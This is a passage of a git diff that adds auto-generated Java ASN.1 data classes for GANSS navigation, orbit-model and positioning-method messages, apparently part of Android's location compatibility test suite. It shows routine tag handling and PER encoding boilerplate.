+ return result;
+ }
+
+ /**
+ * Creates a new GANSSNavModel from encoded stream.
+ */
+ public static GANSSNavModel fromPerAligned(byte[] encodedBytes) {
+ GANSSNavModel result = new GANSSNavModel();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSNavModel.nonBroadcastIndFlagType nonBroadcastIndFlag_;
+ public GANSSNavModel.nonBroadcastIndFlagType getNonBroadcastIndFlag() {
+ return nonBroadcastIndFlag_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSNavModel.nonBroadcastIndFlagType
+ */
+ public void setNonBroadcastIndFlag(Asn1Object value) {
+ this.nonBroadcastIndFlag_ = (GANSSNavModel.nonBroadcastIndFlagType) value;
+ }
+ public GANSSNavModel.nonBroadcastIndFlagType setNonBroadcastIndFlagToNewInstance() {
+ nonBroadcastIndFlag_ = new GANSSNavModel.nonBroadcastIndFlagType();
+ return nonBroadcastIndFlag_;
+ }
+
+ private SeqOfGANSSSatelliteElement ganssSatelliteList_;
+ public SeqOfGANSSSatelliteElement getGanssSatelliteList() {
+ return ganssSatelliteList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfGANSSSatelliteElement
+ */
+ public void setGanssSatelliteList(Asn1Object value) {
+ this.ganssSatelliteList_ = (SeqOfGANSSSatelliteElement) value;
+ }
+ public SeqOfGANSSSatelliteElement setGanssSatelliteListToNewInstance() {
+ ganssSatelliteList_ = new SeqOfGANSSSatelliteElement();
+ return ganssSatelliteList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getNonBroadcastIndFlag() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNonBroadcastIndFlag();
+ }
+
+ @Override public void setToNewInstance() {
+ setNonBroadcastIndFlagToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSNavModel.nonBroadcastIndFlagType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "nonBroadcastIndFlag : "
+ + getNonBroadcastIndFlag().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssSatelliteList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssSatelliteList();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssSatelliteListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfGANSSSatelliteElement.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssSatelliteList : "
+ + getGanssSatelliteList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class nonBroadcastIndFlagType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_nonBroadcastIndFlagType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public nonBroadcastIndFlagType() {
+ super();
+ setValueRange("0", "1");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_nonBroadcastIndFlagType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_nonBroadcastIndFlagType != null) {
+ return ImmutableList.of(TAG_nonBroadcastIndFlagType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new nonBroadcastIndFlagType from encoded stream.
+ */
+ public static nonBroadcastIndFlagType fromPerUnaligned(byte[] encodedBytes) {
+ nonBroadcastIndFlagType result = new nonBroadcastIndFlagType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new nonBroadcastIndFlagType from encoded stream.
+ */
+ public static nonBroadcastIndFlagType fromPerAligned(byte[] encodedBytes) {
+ nonBroadcastIndFlagType result = new nonBroadcastIndFlagType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "nonBroadcastIndFlagType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSNavModel = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSOrbitModel.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSOrbitModel.java
new file mode 100755
index 0000000..1c3b171
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSOrbitModel.java
@@ -0,0 +1,479 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GANSSOrbitModel extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_GANSSOrbitModel
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "GANSSOrbitModel: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public GANSSOrbitModel() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSOrbitModel;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSOrbitModel != null) {
+ return ImmutableList.of(TAG_GANSSOrbitModel);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new GANSSOrbitModel from encoded stream.
+ */
+ public static GANSSOrbitModel fromPerUnaligned(byte[] encodedBytes) {
+ GANSSOrbitModel result = new GANSSOrbitModel();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSOrbitModel from encoded stream.
+ */
+ public static GANSSOrbitModel fromPerAligned(byte[] encodedBytes) {
+ GANSSOrbitModel result = new GANSSOrbitModel();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $KeplerianSet(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new NavModel_KeplerianSet();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_KeplerianSet.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+
+
+ public boolean isKeplerianSet() {
+ return !hasExtensionValue() && Select.$KeplerianSet == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isKeplerianSet}.
+ */
+ @SuppressWarnings("unchecked")
+ public NavModel_KeplerianSet getKeplerianSet() {
+ if (!isKeplerianSet()) {
+ throw new IllegalStateException("GANSSOrbitModel value not a KeplerianSet");
+ }
+ return (NavModel_KeplerianSet) element;
+ }
+
+ public void setKeplerianSet(NavModel_KeplerianSet selected) {
+ selection = Select.$KeplerianSet;
+ extension = false;
+ element = selected;
+ }
+
+ public NavModel_KeplerianSet setKeplerianSetToNewInstance() {
+ NavModel_KeplerianSet element = new NavModel_KeplerianSet();
+ setKeplerianSet(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ $NavKeplerianSet(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new NavModel_NAVKeplerianSet();
+ }
+
+ @Override
+ @SuppressWarnings("unchecked")
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + ((NavModel_NAVKeplerianSet) element).toIndentedString(indent);
+ }
+ },
+
+ $CnavKeplerianSet(Asn1Tag.fromClassAndNumber(2, 2),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new NavModel_CNAVKeplerianSet();
+ }
+
+ @Override
+ @SuppressWarnings("unchecked")
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + ((NavModel_CNAVKeplerianSet) element).toIndentedString(indent);
+ }
+ },
+
+ $GlonassECEF(Asn1Tag.fromClassAndNumber(2, 3),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new NavModel_GLONASSecef();
+ }
+
+ @Override
+ @SuppressWarnings("unchecked")
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + ((NavModel_GLONASSecef) element).toIndentedString(indent);
+ }
+ },
+
+ $SbasECEF(Asn1Tag.fromClassAndNumber(2, 4),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new NavModel_SBASecef();
+ }
+
+ @Override
+ @SuppressWarnings("unchecked")
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + ((NavModel_SBASecef) element).toIndentedString(indent);
+ }
+ },
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+
+ public boolean isExtensionNavKeplerianSet() {
+ return hasExtensionValue() && Extend.$NavKeplerianSet == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isNavKeplerianSet}.
+ */
+ @SuppressWarnings("unchecked")
+ public NavModel_NAVKeplerianSet getExtensionNavKeplerianSet() {
+ if (!isExtensionNavKeplerianSet()) {
+ throw new IllegalStateException("GANSSOrbitModel value not a NavKeplerianSet");
+ }
+ return (NavModel_NAVKeplerianSet) element;
+ }
+
+ public void setExtensionNavKeplerianSet(NavModel_NAVKeplerianSet selected) {
+ selection = Extend.$NavKeplerianSet;
+ extension = true;
+ element = selected;
+ }
+
+ public void setExtensionNavKeplerianSetToNewInstance() {
+ NavModel_NAVKeplerianSet element = new NavModel_NAVKeplerianSet();
+ setExtensionNavKeplerianSet(element);
+ }
+
+
+
+ public boolean isExtensionCnavKeplerianSet() {
+ return hasExtensionValue() && Extend.$CnavKeplerianSet == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isCnavKeplerianSet}.
+ */
+ @SuppressWarnings("unchecked")
+ public NavModel_CNAVKeplerianSet getExtensionCnavKeplerianSet() {
+ if (!isExtensionCnavKeplerianSet()) {
+ throw new IllegalStateException("GANSSOrbitModel value not a CnavKeplerianSet");
+ }
+ return (NavModel_CNAVKeplerianSet) element;
+ }
+
+ public void setExtensionCnavKeplerianSet(NavModel_CNAVKeplerianSet selected) {
+ selection = Extend.$CnavKeplerianSet;
+ extension = true;
+ element = selected;
+ }
+
+ public void setExtensionCnavKeplerianSetToNewInstance() {
+ NavModel_CNAVKeplerianSet element = new NavModel_CNAVKeplerianSet();
+ setExtensionCnavKeplerianSet(element);
+ }
+
+
+
+ public boolean isExtensionGlonassECEF() {
+ return hasExtensionValue() && Extend.$GlonassECEF == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isGlonassECEF}.
+ */
+ @SuppressWarnings("unchecked")
+ public NavModel_GLONASSecef getExtensionGlonassECEF() {
+ if (!isExtensionGlonassECEF()) {
+ throw new IllegalStateException("GANSSOrbitModel value not a GlonassECEF");
+ }
+ return (NavModel_GLONASSecef) element;
+ }
+
+ public void setExtensionGlonassECEF(NavModel_GLONASSecef selected) {
+ selection = Extend.$GlonassECEF;
+ extension = true;
+ element = selected;
+ }
+
+ public void setExtensionGlonassECEFToNewInstance() {
+ NavModel_GLONASSecef element = new NavModel_GLONASSecef();
+ setExtensionGlonassECEF(element);
+ }
+
+
+
+ public boolean isExtensionSbasECEF() {
+ return hasExtensionValue() && Extend.$SbasECEF == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isSbasECEF}.
+ */
+ @SuppressWarnings("unchecked")
+ public NavModel_SBASecef getExtensionSbasECEF() {
+ if (!isExtensionSbasECEF()) {
+ throw new IllegalStateException("GANSSOrbitModel value not a SbasECEF");
+ }
+ return (NavModel_SBASecef) element;
+ }
+
+ public void setExtensionSbasECEF(NavModel_SBASecef selected) {
+ selection = Extend.$SbasECEF;
+ extension = true;
+ element = selected;
+ }
+
+ public void setExtensionSbasECEFToNewInstance() {
+ NavModel_SBASecef element = new NavModel_SBASecef();
+ setExtensionSbasECEF(element);
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "GANSSOrbitModel = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositionMethod.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositionMethod.java
new file mode 100755
index 0000000..093ca8c
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositionMethod.java
@@ -0,0 +1,486 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSPositionMethod extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSPositionMethod
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSPositionMethod() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSPositionMethod;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSPositionMethod != null) {
+ return ImmutableList.of(TAG_GANSSPositionMethod);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSPositionMethod from encoded stream.
+ */
+ public static GANSSPositionMethod fromPerUnaligned(byte[] encodedBytes) {
+ GANSSPositionMethod result = new GANSSPositionMethod();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSPositionMethod from encoded stream.
+ */
+ public static GANSSPositionMethod fromPerAligned(byte[] encodedBytes) {
+ GANSSPositionMethod result = new GANSSPositionMethod();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSPositionMethod.ganssIDType ganssID_;
+ public GANSSPositionMethod.ganssIDType getGanssID() {
+ return ganssID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSPositionMethod.ganssIDType
+ */
+ public void setGanssID(Asn1Object value) {
+ this.ganssID_ = (GANSSPositionMethod.ganssIDType) value;
+ }
+ public GANSSPositionMethod.ganssIDType setGanssIDToNewInstance() {
+ ganssID_ = new GANSSPositionMethod.ganssIDType();
+ return ganssID_;
+ }
+
+ private GANSSPositioningMethodTypes gANSSPositioningMethodTypes_;
+ public GANSSPositioningMethodTypes getGANSSPositioningMethodTypes() {
+ return gANSSPositioningMethodTypes_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSPositioningMethodTypes
+ */
+ public void setGANSSPositioningMethodTypes(Asn1Object value) {
+ this.gANSSPositioningMethodTypes_ = (GANSSPositioningMethodTypes) value;
+ }
+ public GANSSPositioningMethodTypes setGANSSPositioningMethodTypesToNewInstance() {
+ gANSSPositioningMethodTypes_ = new GANSSPositioningMethodTypes();
+ return gANSSPositioningMethodTypes_;
+ }
+
+ private GANSSSignals gANSSSignals_;
+ public GANSSSignals getGANSSSignals() {
+ return gANSSSignals_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSSignals
+ */
+ public void setGANSSSignals(Asn1Object value) {
+ this.gANSSSignals_ = (GANSSSignals) value;
+ }
+ public GANSSSignals setGANSSSignalsToNewInstance() {
+ gANSSSignals_ = new GANSSSignals();
+ return gANSSSignals_;
+ }
+
+
+
+ private SBASID extensionSbasID;
+ public SBASID getExtensionSbasID() {
+ return extensionSbasID;
+ }
+ /**
+ * @throws ClassCastException if value is not a SBASID
+ */
+ public void setExtensionSbasID(Asn1Object value) {
+ extensionSbasID = (SBASID) value;
+ }
+ public void setExtensionSbasIDToNewInstance() {
+ extensionSbasID = new SBASID();
+ }
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssID();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSPositionMethod.ganssIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssID : "
+ + getGanssID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGANSSPositioningMethodTypes() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGANSSPositioningMethodTypes();
+ }
+
+ @Override public void setToNewInstance() {
+ setGANSSPositioningMethodTypesToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSPositioningMethodTypes.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gANSSPositioningMethodTypes : "
+ + getGANSSPositioningMethodTypes().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGANSSSignals() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGANSSSignals();
+ }
+
+ @Override public void setToNewInstance() {
+ setGANSSSignalsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSSignals.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gANSSSignals : "
+ + getGANSSSignals().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionSbasID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionSbasID();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionSbasIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sbasID : "
+ + getExtensionSbasID().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssIDType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssIDType() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssIDType != null) {
+ return ImmutableList.of(TAG_ganssIDType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssIDType from encoded stream.
+ */
+ public static ganssIDType fromPerUnaligned(byte[] encodedBytes) {
+ ganssIDType result = new ganssIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssIDType from encoded stream.
+ */
+ public static ganssIDType fromPerAligned(byte[] encodedBytes) {
+ ganssIDType result = new ganssIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
